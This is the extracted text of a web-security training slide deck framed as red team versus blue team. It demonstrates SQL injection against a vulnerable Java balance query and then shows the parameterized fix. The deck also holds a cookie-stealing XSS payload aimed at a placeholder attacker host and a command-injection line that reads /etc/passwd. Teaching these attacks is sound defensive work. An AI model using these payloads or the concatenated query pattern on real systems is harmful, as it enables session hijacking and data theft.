SlideShare a Scribd company logo
Web security a red vs blue story
Disclaimer
Rolf Huisman
Rolf Huisman (Long ago)
The candy drum
Matter of tradition
So how do we prevent this ?
Countermeasure
Change of attack
The candy drum of information
Web security a red vs blue story
Impact of not taking care has changed a bit
*In dutch: Algemene verordening gegevensbescherming (AVG)
Impact of not taking care has changed a bit
*In dutch: Algemene verordening gegevensbescherming (AVG)
ING Bank (2017)
~ 680 Million
Alphabet (Google)
~ 4.4 Billion (2017)
Microsoft (2017)
~ 3.6 Billion
Rabobank (2017)
~ 104 Million
Facebook (2017)
~ 1.6 Billion
Motivation for securing
Two parties in an arms race
Web security a red vs blue story
Red Team: Become the attacker
Blue Team: Protector of assets
So where is the attack focus ?
Agenda (Attack Vectors)
People
ProcessProduct
Lets attack the weakest point first
People
ProcessProduct
People
People
Web security a red vs blue story
People
People
People
People
People
People
People
Target
Identities
Position
Authorizations
Habits
Likes and
Dislikes
Motivations
People
People
People
Your
WebApp
People
Your
WebApp
People
Attacking the process
People
ProcessProduct
Process
Process
Target
Responsible
people
Handovers
and systems
Conditions
and
assumptions
The formal
way and real
way
Timeline
Exceptions
and
escalations
Process
Process
Process
Process
Process
Process
Process
Process
Process Spoofing
Tampering
Repudiation
Information
disclosure
Denial of
service
Elevation of
privilege
Process
Finally attacking technology
People
ProcessProduct
Product
Product
Product
Product
Product Youtube: LiveOverflow
Product Youtube: LiveOverflow
Product Youtube: LiveOverflow
Product
String accountBalanceQuery =
"SELECT accountNumber, balance FROM accounts WHERE account_owner_id = " +
request.getParameter("user_id");
try
{
Statement statement = connection.createStatement();
ResultSet rs = statement.executeQuery(accountBalanceQuery);
while (rs.next())
{
page.addTableRow(rs.getInt("accountNumber"), rs.getFloat("balance"));
}
} catch (SQLException e) { ... }
Product
String accountBalanceQuery =
"SELECT accountNumber, balance FROM accounts WHERE account_owner_id = " +
request.getParameter("user_id");
try
{
Statement statement = connection.createStatement();
ResultSet rs = statement.executeQuery(accountBalanceQuery);
while (rs.next())
{
page.addTableRow(rs.getInt("accountNumber"), rs.getFloat("balance"));
}
} catch (SQLException e) { ... }
Product
1234
String accountBalanceQuery =
"SELECT accountNumber, balance FROM accounts WHERE account_owner_id = " +
request.getParameter("user_id");
try
{
Statement statement = connection.createStatement();
ResultSet rs = statement.executeQuery(accountBalanceQuery);
while (rs.next())
{
page.addTableRow(rs.getInt("accountNumber"), rs.getFloat("balance"));
}
} catch (SQLException e) { ... }
Product
1234
String accountBalanceQuery =
"SELECT accountNumber, balance FROM accounts WHERE account_owner_id = " +
1234;
try
{
Statement statement = connection.createStatement();
ResultSet rs = statement.executeQuery(accountBalanceQuery);
while (rs.next())
{
page.addTableRow(rs.getInt("accountNumber"), rs.getFloat("balance"));
}
} catch (SQLException e) { ... }
Product
1234
SELECT accountNumber, balance FROM accounts
WHERE account_owner_id = 1234
Product
1234
SELECT accountNumber, balance FROM accounts
WHERE account_owner_id = 1234
AccountNumber Balance
1234 20.000.000,00
Product
1234
SELECT accountNumber, balance FROM accounts
WHERE account_owner_id = 1234
1%20or%201%2f1
Product
1234
SELECT accountNumber, balance FROM accounts
WHERE account_owner_id = 1234
1%20or%201%2f1
SELECT accountNumber, balance FROM accounts
WHERE account_owner_id = 1 or 1=1
Product
1%20or%201%2f1
SELECT accountNumber, balance FROM accounts
WHERE account_owner_id = 1 or 1=1
AccountNumber Balance
1 5000,12
2 16.000,56
3 30.020.212,82
4 34.232,94
… …
Product
SELECT accountNumber, balance FROM accounts WHERE account_owner_id = 1 or 1=1
SELECT accountNumber, balance FROM accounts WHERE account_owner_id = 1234
Product
SELECT accountNumber, balance FROM accounts WHERE account_owner_id = 1 or 1=1
<H1>Hi Rolf</H1>
<H1>Hi <script>window.location="http://some_attacker/cookie.cgi?steal=" +escape(document.cookie)</script> </H1>
SELECT accountNumber, balance FROM accounts WHERE account_owner_id = 1234
Product
SELECT accountNumber, balance FROM accounts WHERE account_owner_id = 1 or 1=1
<H1>Hi Rolf</H1>
$ rm tempfile;id;cat /etc/passwd
$ rm tempfile
<H1>Hi <script>window.location="http://some_attacker/cookie.cgi?steal=" +escape(document.cookie)</script> </H1>
SELECT accountNumber, balance FROM accounts WHERE account_owner_id = 1234
Product
Product
Product
String accountBalanceQuery =
"SELECT accountNumber, balance FROM accounts WHERE account_owner_id = " +
request.getParameter("user_id");
String userId = request.getParameter("user_id");
String accountBalanceQuery = "SELECT accountNumber, balance FROM accounts WHERE account_owner_id = ? ";
Product
String accountBalanceQuery =
"SELECT accountNumber, balance FROM accounts WHERE account_owner_id = " +
request.getParameter("user_id");
String userId = request.getParameter("user_id");
String accountBalanceQuery = "SELECT accountNumber, balance FROM accounts WHERE account_owner_id = ? ";
Statement statement = connection.createStatement();
ResultSet rs = statement.executeQuery(accountBalanceQuery);
PreparedStatement statement = connection.preparereStatement(accountBalanceQuery);
statement.setString (1,userId);
ResultSet rs = statement.executeQuery();
Product
Product
Product
Product
Product
Product
Product
Product
Product
Product
Product
Product
Product
Product
Product
Summary
People
ProcessProduct
Summary
People
• Make it easy to
be safe
• Security event
monitoring
• …
ProcessProduct
Summary
People
• Make it easy to
be safe
• Security event
monitoring
• …
Process
• Misuse cases
• Threat modeling
• STRIDE
• …
Product
Summary
People
• Make it easy to be
safe
• Security event
monitoring
• …
Process
• Misuse cases
• Threat modeling
• STRIDE
• …
Product
• Get Trained
• Use the correct
API’s and tools
• Have things tested
• …
Further Reading
So let us keep our candy safe !
Questions ?

More Related Content

PDF
How to code securely: a crash course for non-coders
PDF
OWASP Poland Day 2018 - Anthony Fielding and William Jardine - Common App Vulns
PDF
Php Security - OWASP
PPTX
Sql injection
PDF
CNIT 129S: 11: Attacking Application Logic
PPTX
Hacking_Environment_Web_Application_updated.pptx
DOC
Attackers Vs Programmers
PDF
Web app security - owasp top 10
How to code securely: a crash course for non-coders
OWASP Poland Day 2018 - Anthony Fielding and William Jardine - Common App Vulns
Php Security - OWASP
Sql injection
CNIT 129S: 11: Attacking Application Logic
Hacking_Environment_Web_Application_updated.pptx
Attackers Vs Programmers
Web app security - owasp top 10

Similar to Web security a red vs blue story (20)

KEY
Do it-yourself-audits
PPSX
Web application security
PPTX
Hack through Injections
PDF
Code securely
PDF
Harder Faster Stronger
PPTX
Defending web applications v.1.0
PDF
Steps to mitigate Top 5 OWASP Vulnerabilities 2013
PPTX
Securing the Web @RivieraDev2016
PPTX
Hacking Your Way to Better Security - ZendCon 2016
PDF
4 andrii kudiurov - web application security 101
PDF
Ch 9 Attacking Data Stores (Part 2)
PDF
16 Web Application Penetration Testing 102.pdf
DOCX
Milestone 3 FINAL
PDF
20111204 web security_livshits_lecture01
KEY
OWASP Dallas
PDF
Think Like a Hacker - Database Attack Vectors
PPT
Securing Applications
PPTX
Owasp top ten 2017
PPTX
Owasp Top 10 2017
PDF
OWASP TOP 10 for PHP Programmers
Do it-yourself-audits
Web application security
Hack through Injections
Code securely
Harder Faster Stronger
Defending web applications v.1.0
Steps to mitigate Top 5 OWASP Vulnerabilities 2013
Securing the Web @RivieraDev2016
Hacking Your Way to Better Security - ZendCon 2016
4 andrii kudiurov - web application security 101
Ch 9 Attacking Data Stores (Part 2)
16 Web Application Penetration Testing 102.pdf
Milestone 3 FINAL
20111204 web security_livshits_lecture01
OWASP Dallas
Think Like a Hacker - Database Attack Vectors
Securing Applications
Owasp top ten 2017
Owasp Top 10 2017
OWASP TOP 10 for PHP Programmers
Ad

More from Rolf Huisman (9)

PPTX
Student session Quantum Computing
PPTX
Lunch session: Quantum Computing
PDF
Meetup webscale architecture quantum computing (Part 2 16-10-2018)
PPTX
Meetup web scale architecture quantum computing (Part 1 16-10-2018)
PDF
Programming quantum computers in Q# (Techorama NL 2018)
PDF
[Lightning] Microsoft q# on vsts mvp lightning
PDF
Rolf huisman programming quantum computers in dot net using q#
PDF
Experts live dtap reinvented, a risk driven approach to release pipelines
PDF
[Lightning talk] Next generation computing with fpga
Student session Quantum Computing
Lunch session: Quantum Computing
Meetup webscale architecture quantum computing (Part 2 16-10-2018)
Meetup web scale architecture quantum computing (Part 1 16-10-2018)
Programming quantum computers in Q# (Techorama NL 2018)
[Lightning] Microsoft q# on vsts mvp lightning
Rolf huisman programming quantum computers in dot net using q#
Experts live dtap reinvented, a risk driven approach to release pipelines
[Lightning talk] Next generation computing with fpga
Ad

Recently uploaded (20)

PPTX
Effective Security Operations Center (SOC) A Modern, Strategic, and Threat-In...
PDF
Unlocking AI with Model Context Protocol (MCP)
PPTX
20250228 LYD VKU AI Blended-Learning.pptx
PDF
7 ChatGPT Prompts to Help You Define Your Ideal Customer Profile.pdf
PPTX
Understanding_Digital_Forensics_Presentation.pptx
PDF
Mobile App Security Testing_ A Comprehensive Guide.pdf
PDF
Machine learning based COVID-19 study performance prediction
PDF
cuic standard and advanced reporting.pdf
PDF
Building Integrated photovoltaic BIPV_UPV.pdf
PPTX
Programs and apps: productivity, graphics, security and other tools
PPT
Teaching material agriculture food technology
PDF
Spectral efficient network and resource selection model in 5G networks
PDF
Empathic Computing: Creating Shared Understanding
PPTX
Spectroscopy.pptx food analysis technology
PDF
How UI/UX Design Impacts User Retention in Mobile Apps.pdf
PDF
The Rise and Fall of 3GPP – Time for a Sabbatical?
PDF
Dropbox Q2 2025 Financial Results & Investor Presentation
PPTX
sap open course for s4hana steps from ECC to s4
PDF
Electronic commerce courselecture one. Pdf
PPTX
ACSFv1EN-58255 AWS Academy Cloud Security Foundations.pptx
Effective Security Operations Center (SOC) A Modern, Strategic, and Threat-In...
Unlocking AI with Model Context Protocol (MCP)
20250228 LYD VKU AI Blended-Learning.pptx
7 ChatGPT Prompts to Help You Define Your Ideal Customer Profile.pdf
Understanding_Digital_Forensics_Presentation.pptx
Mobile App Security Testing_ A Comprehensive Guide.pdf
Machine learning based COVID-19 study performance prediction
cuic standard and advanced reporting.pdf
Building Integrated photovoltaic BIPV_UPV.pdf
Programs and apps: productivity, graphics, security and other tools
Teaching material agriculture food technology
Spectral efficient network and resource selection model in 5G networks
Empathic Computing: Creating Shared Understanding
Spectroscopy.pptx food analysis technology
How UI/UX Design Impacts User Retention in Mobile Apps.pdf
The Rise and Fall of 3GPP – Time for a Sabbatical?
Dropbox Q2 2025 Financial Results & Investor Presentation
sap open course for s4hana steps from ECC to s4
Electronic commerce courselecture one. Pdf
ACSFv1EN-58255 AWS Academy Cloud Security Foundations.pptx

Web security a red vs blue story